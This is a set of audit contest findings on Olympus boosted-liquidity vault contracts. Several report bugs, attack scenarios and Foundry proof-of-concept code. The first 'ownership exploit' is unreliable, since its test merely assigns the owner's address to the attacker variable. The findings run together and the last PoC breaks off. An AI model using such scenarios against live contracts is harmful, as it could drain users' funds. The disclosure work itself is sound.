The test case that can only be called by the vault's owner has failed after applying change ownership exploit. The test that the call should revert if the user is not the owner has failed because I added a change owner exploit. Please see the POC below which I used Foundry for. The impact is that I am able to gain ownership and Deposit(ohmAmount: 100000000000, wstethAmount: 1000000000000000000).Vulnerability Detail
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L143-L200Impact
Unauthorised Change Of Ownership after deposit function in BLVaultLido.sol
The test case that can only be called by the vault's owner has failed after applying change ownership exploit. The test that the call should revert if the user is not the owner has failed because I added a change owner exploit. Please see the POC below which I used Foundry for. The impact is that I am able to gain ownership and Deposit(ohmAmount: 100000000000, wstethAmount: 1000000000000000000).Code Snippet
POC File
src/2023-03-olympus-0xtr3/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol// POC
// 1. update test file named BLVaultLidoMocks.t.sol for the function below by replacing function named
// testCorrectness_depositCanOnlyBeCalledByTheVaultOwner with the one below.
function testCorrectness_depositCanOnlyBeCalledByTheVaultOwner(address attacker_) public {
if (attacker_ == alice) {
vm.prank(alice);
aliceVault.deposit(1e18, 0);
} else {
bytes memory err = abi.encodeWithSignature("BLVaultLido_OnlyOwner()");
vm.expectRevert();
// Try to deposit
bob = alice; // fat32 change owner
attacker_ = bob; // fat32 change owner
vm.prank(attacker_);
aliceVault.deposit(1e18, 0);
}
}# 2. run command below
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol# Log
# 3. log file results of changed ownership
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol
[⠆] Compiling...
No files changed, compilation skipped
Running 13 tests for src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol:BLVaultLidoTest
[PASS] testCorrectness_claimRewardsCanOnlyBeCalledByTheVaultOwner(address) (runs: 256, μ: 19649, ~: 19649)
[PASS] testCorrectness_claimRewardsCanOnlyBeCalledWhenManagerIsActive() (gas: 47075)
[PASS] testCorrectness_claimRewardsCorrectlyClaims() (gas: 439002)
[FAIL. Reason: Call did not revert as expected Counterexample: calldata=0x25bfc5270000000000000000000000000000000000000000000000000000000000000000, args=[0x0000000000000000000000000000000000000000]] testCorrectness_depositCanOnlyBeCalledByTheVaultOwner(address) (runs: 0, μ: 0, ~: 0)
Traces:
[481707] BLVaultLidoTest::testCorrectness_depositCanOnlyBeCalledByTheVaultOwner(0x0000000000000000000000000000000000000000)
├─ [0] VM::expectRevert()
│ └─ ← ()
├─ [0] VM::prank(0xfAd8712De4330B640064CFA05d0A29978DEa11C6)
│ └─ ← ()
├─ [372634] 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51::deposit(1000000000000000000, 0)
│ ├─ [370440] BLVaultLido::deposit(1000000000000000000, 0) [delegatecall]
│ │ ├─ [2459] BLVaultManagerLido::isLidoBLVaultActive() [staticcall]
│ │ │ └─ ← true
│ │ ├─ [30352] BLVaultManagerLido::getOhmTknPrice() [staticcall]
│ │ │ ├─ [194] MockWsteth::stEthPerToken() [staticcall]
│ │ │ │ └─ ← 1000000000000000000
│ │ │ ├─ [6797] MockPriceFeed::latestRoundData() [staticcall]
│ │ │ │ └─ ← 0, 10000000000000000, 0, 1608336000, 0
│ │ │ ├─ [6797] MockPriceFeed::latestRoundData() [staticcall]
│ │ │ │ └─ ← 0, 1000000000000000000, 0, 1608336000, 0
│ │ │ └─ ← 100000000000
│ │ ├─ [2564] MockBalancerPool::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 0
│ │ ├─ [32095] MockWsteth::transferFrom(0xfAd8712De4330B640064CFA05d0A29978DEa11C6, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 1000000000000000000)
│ │ │ ├─ emit Transfer(from: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 1000000000000000000)
│ │ │ └─ ← true
│ │ ├─ [111021] BLVaultManagerLido::mintOhmToVault(100000000000)
│ │ │ ├─ [32472] OlympusMinter::increaseMintApproval(BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 100000000000)
│ │ │ │ ├─ [2961] Kernel::modulePermissions(0x4d494e5452, BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 0x359fe780) [staticcall]
│ │ │ │ │ └─ ← true
│ │ │ │ ├─ emit IncreaseMintApproval(policy_: BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], newAmount_: 100000000000)
│ │ │ │ └─ ← ()
│ │ │ ├─ [50857] OlympusMinter::mintOhm(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 100000000000)
│ │ │ │ ├─ [2961] Kernel::modulePermissions(0x4d494e5452, BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 0x3a56e307) [staticcall]
│ │ │ │ │ └─ ← true
│ │ │ │ ├─ [52131] OlympusERC20Token::mint(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 100000000000)
│ │ │ │ │ ├─ [0] MockLegacyAuthority::vault() [staticcall]
│ │ │ │ │ │ └─ ← OlympusMinter: [0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7]
│ │ │ │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 100000000000)
│ │ │ │ │ └─ ← ()
│ │ │ │ ├─ emit Mint(policy_: BLVaultManagerLido: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], to_: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount_: 100000000000)
│ │ │ │ └─ ← ()
│ │ │ └─ ← ()
│ │ ├─ [24972] OlympusERC20Token::increaseAllowance(MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 100000000000)
│ │ │ ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 100000000000)
│ │ │ └─ ← true
│ │ ├─ [24567] MockWsteth::approve(MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 1000000000000000000)
│ │ │ ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 1000000000000000000)
│ │ │ └─ ← true
│ │ ├─ [281] MockBalancerPool::getPoolId() [staticcall]
│ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ ├─ [83256] MockVault::joinPool(0x0000000000000000000000000000000000000000000000000000000000000000, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, ([0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], [100000000000, 1000000000000000000], 0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000174876e8000000000000000000000000000000000000000000000000000de0b6b3a7640000, false))
│ │ │ ├─ [22584] OlympusERC20Token::transferFrom(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 100000000000)
│ │ │ │ ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 100000000000)
│ │ │ │ ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 0)
│ │ │ │ └─ ← true
│ │ │ ├─ [20499] MockWsteth::transferFrom(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 1000000000000000000)
│ │ │ │ ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: MockVault: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], amount: 1000000000000000000)
│ │ │ │ └─ ← true
│ │ │ ├─ [44625] MockBalancerPool::mint(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, 1000000000000000000)
│ │ │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, amount: 1000000000000000000)
│ │ │ │ └─ ← ()
│ │ │ └─ ← ()
│ │ ├─ [564] MockBalancerPool::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 1000000000000000000
│ │ ├─ [22916] BLVaultManagerLido::increaseTotalLp(1000000000000000000)
│ │ │ └─ ← ()
│ │ ├─ [24545] MockBalancerPool::approve(MockAuraBooster: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 1000000000000000000)
│ │ │ ├─ emit Approval(owner: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, spender: MockAuraBooster: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], amount: 1000000000000000000)
│ │ │ └─ ← true
│ │ ├─ [26325] MockAuraBooster::deposit(0, 1000000000000000000, true)
│ │ │ ├─ [20481] MockBalancerPool::transferFrom(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, MockAuraRewardPool: [0x15cF58144EF33af1e14b5208015d11F9143E27b9], 1000000000000000000)
│ │ │ │ ├─ emit Transfer(from: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, to: MockAuraRewardPool: [0x15cF58144EF33af1e14b5208015d11F9143E27b9], amount: 1000000000000000000)
│ │ │ │ └─ ← true
│ │ │ └─ ← true
│ │ ├─ [557] OlympusERC20Token::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 0
│ │ ├─ [553] MockWsteth::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
│ │ │ └─ ← 0
│ │ ├─ emit Deposit(ohmAmount: 100000000000, wstethAmount: 1000000000000000000)
│ │ └─ ← 1000000000000000000
│ └─ ← 1000000000000000000
└─ ← "Call did not revert as expected"
[PASS] testCorrectness_depositCanOnlyBeCalledWhenManagerIsActive() (gas: 47127)
[PASS] testCorrectness_depositCorrectlyDeploysLiquidity() (gas: 396052)
[PASS] testCorrectness_depositCorrectlyIncreasesState(uint256) (runs: 256, μ: 406200, ~: 406202)
[PASS] testCorrectness_getLpBalance(uint256) (runs: 256, μ: 411701, ~: 411702)
[PASS] testCorrectness_getUserPairShare(uint256) (runs: 256, μ: 446025, ~: 446027)
[PASS] testCorrectness_withdrawCanOnlyBeCalledByTheVaultOwner(address) (runs: 256, μ: 384975, ~: 384958)
[PASS] testCorrectness_withdrawCanOnlyBeCalledWhenManagerIsActive() (gas: 52804)
[PASS] testCorrectness_withdrawCorrectlyDecreasesState(uint256) (runs: 256, μ: 599215, ~: 601828)
[PASS] testCorrectness_withdrawCorrectlyWithdrawsLiquidity() (gas: 610408)
Test result: FAILED. 12 passed; 1 failed; finished in 185.77ms
Failing tests:
Encountered 1 failing test in src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol:BLVaultLidoTest
[FAIL. Reason: Call did not revert as expected Counterexample: calldata=0x25bfc5270000000000000000000000000000000000000000000000000000000000000000, args=[0x0000000000000000000000000000000000000000]] testCorrectness_depositCanOnlyBeCalledByTheVaultOwner(address) (runs: 0, μ: 0, ~: 0)
Encountered a total of 1 failing tests, 12 tests succeededTool used
Foundry + Visual Studio CodeManual Review
Recommendation
To validate owner, use require statement and not if statement.Bahurum - If wstETH or OHM are added to Aura extra rewards, then they will be lost when withdrawing with claim
Bahurum
medium
If wstETH or OHM are added to Aura extra rewards, then they will be lost when withdrawing with claim
Summary
If aura adds wstETH or OHM as extrarewards, then this extra rewards will be lost when withdrawing with claim
Vulnerability Detail
In BLVaultLido.withdraw(), if the rewards are wstETH they will be sent to the treasury by the check on wstETH value returned, and if they are OHM they will be burned in manager.burnOhmFromVault(ohmAmountOut).
Example, let's say wstETH is in extraRewards.
- OHM price is 200 OHM per wstETH
- User deposits 10 wstETH
- After sometime he has accumulated 1 wstETH of rewards
- User withdraws all with
claim_= true- ohmBefore = 0, wstethBefore = 0
- ohmAmountOut = 2000, wstethAmountOut = 10 + 1 rewards = 11
- wstethOhmPrice = 0.005, expectedWstethAmountOut = 2000*0.005 = 10
- 1 wstETH from rewards is sent to treasury
If OHM is in the rewards, all rewards in OHM will be burned along with the OHM obtained after removing lp from the balancer pool.
Impact
Extra rewards in wstETH or OHM will be lost when withdrawing and claiming at the same time.
Code Snippet
Tool used
Manual Review
Recommendation
send rewards just after claiming, instead than at the end of withdraw()
// Unstake from Aura
auraRewardPool().withdrawAndUnwrap(lpAmount_, claim_);
+ // Return rewards to owner
+ if (claim_) _sendRewards();chaduke - deposit() fails to decrease allowance for MINTR(), and only increase allowance when unusedOhm > 0.
chaduke
medium
deposit() fails to decrease allowance for MINTR(), and only increase allowance when unusedOhm > 0.
Summary
deposit() fails to decrease allowance for MINTR(), and only increase allowance when unusedOhm > 0. As a result, the amount of Ohm minted might go beyond limit.
Vulnerability Detail
deposit() allows a user to transfer wstETH to the vault and Ohm to the vault.
However, at the following line: L168
manager.mintOhmToVault(ohmMintAmount);the function fails to decrease the allowance for MINTER() first before minting.
This is in contrast to the case for withdraw(), which will increase allowance for MINTER() first, and then burn ohm from vault.
// Burn OHM
ohm.increaseAllowance(MINTR(), ohmAmountOut);
manager.burnOhmFromVault(ohmAmountOut);On the other hand, the deposit() function even increases the allowance of MINTER() when unusedOhm > 0.
if (unusedOhm > 0) {
ohm.increaseAllowance(MINTR(), unusedOhm);
manager.burnOhmFromVault(unusedOhm);
}Impact
In summary, the deposit() function will never decrease, and in some cases, only increase the allowance for MINTER() after minting ohm. As a result, the allowance for MINTER() is not correctly modified. The minting limit will not properly set for MINTER().
Code Snippet
See above
Tool used
VSCode
Manual Review
Recommendation
We need to decrease the allowance for MINTER when we mint ohm:
function deposit(
uint256 amount_,
uint256 minLpAmount_
) external override onlyWhileActive onlyOwner nonReentrant returns (uint256 lpAmountOut) {
// Cache variables into memory
IBLVaultManagerLido manager = manager();
OlympusERC20Token ohm = ohm();
ERC20 wsteth = wsteth();
IBasePool liquidityPool = liquidityPool();
IAuraBooster auraBooster = auraBooster();
// Calculate OHM amount to mint
// getOhmTknPrice returns the amount of OHM per 1 wstETH
uint256 ohmWstethPrice = manager.getOhmTknPrice();
uint256 ohmMintAmount = (amount_ * ohmWstethPrice) / _WSTETH_DECIMALS;
// Block scope to avoid stack too deep
{
// Cache OHM-wstETH BPT before
uint256 bptBefore = liquidityPool.balanceOf(address(this));
// Transfer in wstETH
wsteth.safeTransferFrom(msg.sender, address(this), amount_);
// Mint OHM
+ ohm.decreaseAllowance(MINTR(), ohmMintAmount);
manager.mintOhmToVault(ohmMintAmount);
// Join Balancer pool
_joinBalancerPool(ohmMintAmount, amount_, minLpAmount_);
// OHM-PAIR BPT after
lpAmountOut = liquidityPool.balanceOf(address(this)) - bptBefore;
manager.increaseTotalLp(lpAmountOut);
// Stake into Aura
liquidityPool.approve(address(auraBooster), lpAmountOut);
bool depositSuccess = auraBooster.deposit(pid(), lpAmountOut, true);
if (!depositSuccess) revert BLVaultLido_AuraDepositFailed();
}
// Return unused tokens
uint256 unusedOhm = ohm.balanceOf(address(this));
uint256 unusedWsteth = wsteth.balanceOf(address(this));
if (unusedOhm > 0) {
ohm.increaseAllowance(MINTR(), unusedOhm);
manager.burnOhmFromVault(unusedOhm);
}
if (unusedWsteth > 0) {
wsteth.safeTransfer(msg.sender, unusedWsteth);
}
// Emit event
emit Deposit(ohmMintAmount - unusedOhm, amount_ - unusedWsteth);
return lpAmountOut;
}0x4non - Lack of emergency exit mechanism in `BLVaultLido`
0x4non
medium
Lack of emergency exit mechanism in BLVaultLido
Summary
Lack of an emergency exit could lead to users assets trapped in the vault. In the event of the vault becoming inactive, by decision of admin or because there is a critical issue, users would be unable to withdraw their assets, posing a significant risk to the safety and security of their investments.
Vulnerability Detail
BLVaultLido is currently designed without an emergency exit mechanism, which is essential for the safe and secure withdrawal of assets in the case of unexpected system failures, maintenance, or other issues that render the vault inactive. This oversight can lead to user assets being locked within the vault indefinitely, causing significant distress and financial loss to the users.
Impact
The lack of an emergency exit in the vault system can have severe consequences, including:
- Loss of user trust in the platform, leading to reduced adoption and potential loss of clients.
- Financial loss for users who are unable to access their assets.
- Legal implications for the platform due to potential claims and lawsuits from affected users.
- Reputational damage to the platform, impacting its competitive position in the market.
Code Snippet
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L203-L207
withdraw function works only onlyWhileActive so if vault is inactive will be impossible to users to withdraw.
Tool used
Manual Review
Recommendation
Create a emergencyWithdraw function so a user can withdraw their assets (without rewards) even if the vault is paused.
Bahurum - Users deposit could get stuck due to check in `decreaseTotalLp` function
Bahurum
medium
Users deposit could get stuck due to check in decreaseTotalLp function
Summary
In the decreaseTotalLp function in BLVaultManagerLido.sol the check will revert for the last users withdrawing if other users withdrew aura lp tokens sent directly to their vault.
Vulnerability Detail
decreaseTotalLp() will revert if the amount to be withdrawn is larger than the totalLp in the all the vaults. Normally this will not revert and as the last user withdraws all its funds from its vault, then totalLp will be set back to 0.
The problem incurrs when an user sends by error some aura deposit vault tokens to its vault (mistakes of this kind are seen from time to time due to users misunderstandings of how things work). The user will now be able to withdraw more than originally deposited.
Example:
- Alice creates a vault
- Alice sends 10 aura deposit tokens to her vault because she does not understand how to interact with the vault
- Alice does some research and understands how to interact with the vault
- Alice deposits 10 wstETH,
totalLpis increased to 10. - Bob creates a vault
- Bob deposits 10 wstETH,
totalLpis increased to 20. - Alice withdraws the max amount of lp from her vault, which is 20 because of the initial mistake.
totalLPis decreased to 0. - Bob wants to withdraw but his transaction reverts due to the check in
decreaseTotalLp. Bob's deposit is stuck forever
Impact
Deposits of last users withdrawing could get stuck.
Code Snippet
Tool used
Manual Review
Recommendation
function decreaseTotalLp(uint256 amount_) external override onlyWhileActive onlyVault {
- if (amount_ > totalLp) revert BLManagerLido_InvalidLpAmount();
+ if (amount_ > totalLp) amount_ = totalLp;
totalLp -= amount_;
}Duplicate of #4
cccz - claimRewards calls getReward with the wrong parameters, which may prevent users from claiming rewards
cccz
medium
claimRewards calls getReward with the wrong parameters, which may prevent users from claiming rewards
Summary
claimRewards calls getReward with owner() instead of address(this), which prevents claimRewards from claiming rewards
Vulnerability Detail
BLVaultLido.claimRewards calls auraRewardPool.getReward to claim the rewards in aura, but the argument here uses owner() instead of address(this), and since the rewards in aura belong to address(this) instead of owner(), which will prevent claimRewards from claiming the rewards in aura.
function claimRewards() external override onlyWhileActive onlyOwner nonReentrant {
// Claim rewards from Aura
auraRewardPool().getReward(owner(), true);
// Send rewards to owner
_sendRewards();
}Impact
It will prevent claimRewards from claiming the rewards in aura.
Code Snippet
Tool used
Manual Review
Recommendation
Change to
function claimRewards() external override onlyWhileActive onlyOwner nonReentrant {
// Claim rewards from Aura
- auraRewardPool().getReward(owner(), true);
+ auraRewardPool().getReward(address(this), true);
// Send rewards to owner
_sendRewards();
}Duplicate of #21
carrot - Too much ohm is burnt during `deposit` step
carrot
medium
Too much ohm is burnt during deposit step
Summary
Manager burns too much ohm from vault during deposit call, burning any ohm in the vault, instead of burnign only the minted amount.
Vulnerability Detail
In function deposit, the last step is to burn any excess ohm in the contract and repay the user's wstEth. However, the contract decides to burn ALL ohm tokens remaining, instead of using the difference between ohm balances before and after the mint. this can lead to a number of small accounting errors.
Relevant code:
In the withdraw function, the contract does not burn all the ohm, and instead keeps track of the change in balance and only burns the necessary ohm.
This can lead to an accounting error which can be exploited to bypass the ohmLimit cap.
The developer shows intent to cap the maximum of ohm that can be minted freely to a value of ohmLimit. If a user deposits a large amount of ohm to his own boostedVault, and then calls deposit with a tiny amount, all that ohm will be burned. All ohm burned are kept track of in the manager contract in the variables circulatingOhmBurned and deployedOhm as shown in the snippet below.
Burning excess ohm would store that debt by increasing the circulatingOhmBurned variable, which means that same amount can then be minted again into the vault. This might not be profitable, but definitely bypasses the cap set by the developer, and is thus classified medium.
Impact
Accounting errors tracking amount of ohm circulating in BoostedVaults.
Code Snippet
Tool used
Manual Review
Recommendation
In function deposit, use similar logic as in withdraw to only burn the difference in ohm balance before and after the mint.
RaymondFam - Decreased getTknOhmPrice() not catered for
RaymondFam
high
Decreased getTknOhmPrice() not catered for
Summary
The contract checks on the withdrawn ratios of OHM and wstETH against the current oracle price and takes any wstETH shifted imbalance as a fee to the treasury but fails to cater for getTknOhmPrice() decrease in pricing.
When getTknOhmPrice() decreases, users exiting pool can be ripped off while those aware of the opportunity can make sizable flash swap gains.
Vulnerability Detail
Here is a typical scenario, assuming the pool has been initiated with total LP equal to sqrt(100_000 * 1_000) = 10_000. (Note: OHM: $15, wstETH: $1500 with the pool pricing match up with manager.getOhmTknPrice() or manager.getTknOhmPrice(), i.e. 100 OHM to 1 wstETH or 0.01 wstETH to 1 OHM. The pool token balances in each step below may be calculated via the Constant Product Simulation after each swap and stake.)
OHM token balance: 100_000
wstETH token balance: 1_000
Total LP: 10_000
-
Bob calls deposit() by providing 10 wstETH where 1000 OHM is minted. Bob successfully stakes all of the 1000 OHM and 10 wstETH and proportionately receives 100 LP.
OHM token balance: 101_000
wstETH token balance: 1_010
Total LP: 10_100
Bob's LP: 100 -
Alice also calls deposit() by providing 10 wstETH with 1000 OHM. She successfully stakes all of the 1000 OHM and 10 wstETH and proportionately receives 100 LP too.
OHM token balance: 102_000
wstETH token balance: 1_020
Total LP: 10_200
Bob's LP: 100
Alice's LP: 100 -
The pool has been well balanced at all time when suddenly there is a significant price surge in wstETH in the market (OHM: $15, wstETH: $2000). manager.getTknOhmPrice() is now 0.0075 (instead of the previous 0.01) wstETH per 1 OHM.
-
Bob exits the pool by removing all of his LP where the 1000 OHM received is burned. However, the 10 wstETH (wstethAmountOut) is greater than expectedWstethAmountOut (1000 * 0.0075 = 7.5). So, only 7.5 wstETH is transferred to Bob.
OHM token balance: 101_000
wstETH token balance: 1_010
Total LP: 10_100
Bob's LP: 0
Alice's LP: 100 -
Alice, an avid staker, uses a flash loan to swap, e.g. 10000 OHM for 90.99 wstETH to make a profit of 90.99 * 2000 - 10000 * 15 = $31980.
OHM token balance: 111_000
wstETH token balance: 919.01
Total LP: 10_100
Bob's LP: 0
Alice's LP: 100
Impact
Bob, a naive staker is ripped off with 2.5 wstETH despite making a little rewards.
Alice, in contrast to Bob's action, could not be cared less about exiting her position but keep repeating step 5 till it is no longer profitable where at that point the position can be exited safely without any fee abstracted by the Treasury. Alice managed to game the system albeit in the opposite manner while doing the pool a favor by bringing its pricing to match up with the market.
Code Snippet
File: BLVaultLido.sol#L143-L200
File: BLVaultLido.sol#L203-L256
Tool used
Manual Review
Recommendation
Consider restructuring the withdrawn ratios check if this is not intended to happen. For instance, an added check may be implemented checking whether or not getTknOhmPrice() has dropped more than a threshold. If it has, the existing check should disable the withdrawn ratio slash.
Duplicate of #29
Bahurum - Incorrect OHM price calculation
Bahurum
high
Incorrect OHM price calculation
Summary
In getOhmTknPrice and getTknOhmPrice functions in BLVaultManagerLido.sol the stethPerWsteth is used as it is the value of wstETH in stETH while it is actually the value of stETH in wstETH.
Vulnerability Detail
IWsteth(pairToken).stEthPerToken() reuturns the amount of wstEth corresponding to 1 stETH. For example right now it is 0.896. Let's say ethPerOhm=0.00647 and stethPerEth=0.99
In getOhmTknPrice the formula returns
0.896*0.99/0.00647 = 137.1
meaning 137.1 OHM per wstETH. If we compute the OHM/wstETM ratio from the market price: OHM = 10.30 USD, wstETH = 1962.5 USD --> 190.5.
In a similar way, the value returned by getTknOhmPrice is larger than expected.
Impact
Oracle prices are incorrect: this will cause the amount of OHM deposited into the balancer pool to be unbalanced (asymmetric liquidity deposit) so depositors will get back only a fraction of the wstETH deposited when withdrawing.
Code Snippet
Tool used
Manual Review
Recommendation
In getOhmTknPrice():
return (stethPerEth * 1e27) / (ethPerOhm * stethPerWsteth);In getTknOhmPrice():
return (ethPerOhm * stethPerWsteth) / stethPerEth;RaymondFam - Normal users could be inadvertently grieved by the withdrawn ratios check
RaymondFam
high
Normal users could be inadvertently grieved by the withdrawn ratios check
Summary
The contract check on the withdrawn ratios of OHM and wstETH against the current oracle price could run into grieving naive users by taking any wstETH shifted imbalance as a fee to the treasury even though these users have not gamed the system.
Vulnerability Detail
Here is a typical scenario, assuming the pool has been initiated with total LP equal to sqrt(100_000 * 1_000) = 10_000. (Note: OHM: $15, wstETH: $1500 with the pool pricing match up with manager.getOhmTknPrice() or manager.getTknOhmPrice(), i.e. 100 OHM to 1 wstETH or 0.01 wstETH to 1 OHM. The pool token balances in each step below may be calculated via the Constant Product Simulation after each swap and stake.)
OHM token balance: 100_000
wstETH token balance: 1_000
Total LP: 10_000
-
A series of swap activities results in the pool shifted more of the LP into wstETH.
OHM token balance: 90_909.1
wstETH token balance: 1_100
Total LP: 10_000 -
Bob calls
deposit()by providing 11 wstETH where 1100 OHM is minted with 1100 - 90909.1 * 0.01 = 190.91 unused OHM burned. (Note: Bob successfully stakes with 909.09 OHM and 11 wstETH and proportionately receives 100 LP.)OHM token balance: 91_818.19
wstETH token balance: 1_111
Total LP: 10_100
User's LP: 100 -
Bob changes his mind instantly and proceeds to call
withdraw()to remove all of his LP. He receives the originally staked 909.09 OHM and 11 wstETH. All OHM is burned but he is only entitled to receive 909.09 / 100 = 9.09 wstETH since the system takes any arbs relative to the oracle price for the Treasury and returns the rest to the owner.OHM token balance: 90_909.1
wstETH token balance: 1_100
Total LP: 10_000
User's LP: 0
Impact
Bob suffers a loss of 11 - 9.09 = 1.91 wstETH (~ 17.36% loss), and the system is ready to trap the next user given the currently imbalanced pool still shifted more of the LP into wstETH.
Code Snippet
File: BLVaultLido.sol#L143-L200
File: BLVaultLido.sol#L203-L256
Tool used
Manual Review
Recommendation
Consider implementing a snapshot of the entry record of OHM and wstETH and compare that with the proportionate exit record. Slash only the differential for treasury solely on dissuading large attempts to shift the pool around, and in this case it should be 0 wstETH since the originally staked wstETH is no greater than expectedWstethAmountOut.
hickuphh3 - `claimRewards()` doesn't actually claim rewards
hickuphh3
medium
claimRewards() doesn't actually claim rewards
Summary
claimRewards() calls getReward() with the owner as the address when it should be the vault itself (since the deposit is via the vault).
Vulnerability Detail
// Claim rewards from Aura
auraRewardPool().getReward(owner(), true);Since deposits and withdrawals into the LP token is done via the vault, the staker would be the vault. Calling getReward() on owner() to claim rewards is therefore erroneous. It's likely to an accidental error since the other methods correctly calls on address(this), eg.
uint256 balRewards = auraRewardPool().earned(address(this));Thankfully, rewards aren't locked up since anyone can directly call the aura reward pool to claim rewards for the vault, and the withdrawAndUnwrap() also correctly claims rewards upon withdrawals. It would merely be an inconvenience to the user to have to perform an additional transaction.
POC
I performed integration testing (it took a while to sleuth out the required addresses, would've been nice if it was provided). Please take a look at testClaimRewards().
// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;
import "forge-std/Test.sol";
import {FullMath} from "libraries/FullMath.sol";
import "../../../../src/policies/BoostedLiquidity/interfaces/IBalancer.sol";
import "../../../../src/policies/BoostedLiquidity/interfaces/IAura.sol";
import {IERC20} from "src/external/OlympusERC20.sol";
import "src/Kernel.sol";
import {MockPriceFeed} from "test/mocks/MockPriceFeed.sol";
import {OlympusMinter} from "modules/MINTR/OlympusMinter.sol";
import {OlympusTreasury} from "modules/TRSRY/OlympusTreasury.sol";
import {OlympusBoostedLiquidityRegistry} from "modules/BLREG/OlympusBoostedLiquidityRegistry.sol";
import {OlympusRoles, ROLESv1} from "modules/ROLES/OlympusRoles.sol";
import {RolesAdmin} from "policies/RolesAdmin.sol";
import {IBLVaultManagerLido, BLVaultManagerLido} from "policies/BoostedLiquidity/BLVaultManagerLido.sol";
import "policies/BoostedLiquidity/BLVaultLido.sol";
contract BLVaultIntegration is Test {
// wstETH whale
address user = 0x5fEC2f34D80ED82370F733043B6A536d7e9D7f8d;
IERC20 liquidityPool = IERC20(0xd4f79CA0Ac83192693bce4699d0c10C66Aa6Cf0F);
IERC20 aura = IERC20(0xC0c293ce456fF0ED870ADd98a0828Dd4d2903DBF);
IERC20 bal = IERC20(0xba100000625a3754423978a60c9317c58a424e3D);
IERC20 auraBAL = IERC20(0x616e8BfA43F920657B3497DBf40D6b1A02D4608d);
IERC20 ohm = IERC20(0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5);
IERC20 wsteth = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);
IAuraMiningLib auraMiningLib = IAuraMiningLib(0x744Be650cea753de1e69BF6BAd3c98490A855f52);
IAuraRewardPool auraRewardPool = IAuraRewardPool(0x636024F9Ddef77e625161b2cCF3A2adfbfAd3615);
uint256 pid = 73;
address auraBooster = 0xA57b8d98dAE62B26Ec3bcC4a365338157060B234;
IVault balVault = IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IBalancerHelper balancerHelper = IBalancerHelper(0xE39B5e3B6D74016b2F6A9673D7d7493B6DF549d5);
